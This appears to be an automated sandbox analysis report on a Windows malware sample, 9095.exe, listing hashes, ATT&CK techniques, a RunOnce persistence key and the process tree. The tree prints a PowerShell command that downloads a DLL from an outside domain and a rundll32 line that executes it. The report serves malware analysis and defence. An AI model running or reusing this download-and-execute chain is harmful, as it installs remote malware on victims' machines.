d4e5ea6e804aee0817c61b11e1ed009f649ff37d30bafa7056bf82d45e83f44d

Analysis

max time kernel
118s
max time network
118s
platform
windows7_x64
resource
win7-en-20211208
submitted
06/01/2022, 10:54

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General

Target
9095.exe
Size 152KB
Sample220106-mzj71abeem
SHA256 d4e5ea6e804aee0817c61b11e1ed009f649ff37d30bafa7056bf82d45e83f44d
MD5 57054d13b876e70a99b6b9510568ed3e
SHA1 1fe09821917e0d6d07b233e7264bdc235dc2f52b
SHA512 f73c8d9063dac80871c99343f9b8586f77ca64ea9aa0ca5f14078f7e56d9c24f52577d6ae6f04dfecc1ad580395bfb2e789eb8ee4ca8059b3022048a77137257
MD5 SHA1 SHA512

Score

6^/10

persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	9095.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce	9095.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
964	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	964	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1692 wrote to memory of 1468	1692	9095.exe	27
PID 1692 wrote to memory of 1468	1692	9095.exe	27
PID 1692 wrote to memory of 1468	1692	9095.exe	27
PID 1468 wrote to memory of 964	1468	cmd.exe	29
PID 1468 wrote to memory of 964	1468	cmd.exe	29
PID 1468 wrote to memory of 964	1468	cmd.exe	29
PID 1468 wrote to memory of 1064	1468	cmd.exe	30
PID 1468 wrote to memory of 1064	1468	cmd.exe	30
PID 1468 wrote to memory of 1064	1468	cmd.exe	30

C:\Users\Admin\AppData\Local\Temp\9095.exe
"C:\Users\Admin\AppData\Local\Temp\9095.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1692
- C:\Windows\system32\cmd.exe
  cmd /c test5.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1468
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Invoke-WebRequest https://teamworks455.com/_country/9095.dll -OutFile 9095.dll
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:964
- - C:\Windows\system32\rundll32.exe
    rundll32.exe 9095.dll DllRegisterServer
    3⤵
    PID:1064

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/964-60-0x00000000026A0000-0x00000000026A2000-memory.dmp

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memory/964-61-0x00000000026A2000-0x00000000026A4000-memory.dmp

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memory/964-62-0x00000000026A4000-0x00000000026A7000-memory.dmp

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memory/964-59-0x000007FEF2D90000-0x000007FEF38ED000-memory.dmp

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memory/964-63-0x000000001B7A0000-0x000000001BA9F000-memory.dmp

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memory/964-64-0x00000000026AB000-0x00000000026CA000-memory.dmp

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memory/1692-54-0x000007FEFB9C1000-0x000007FEFB9C3000-memory.dmp

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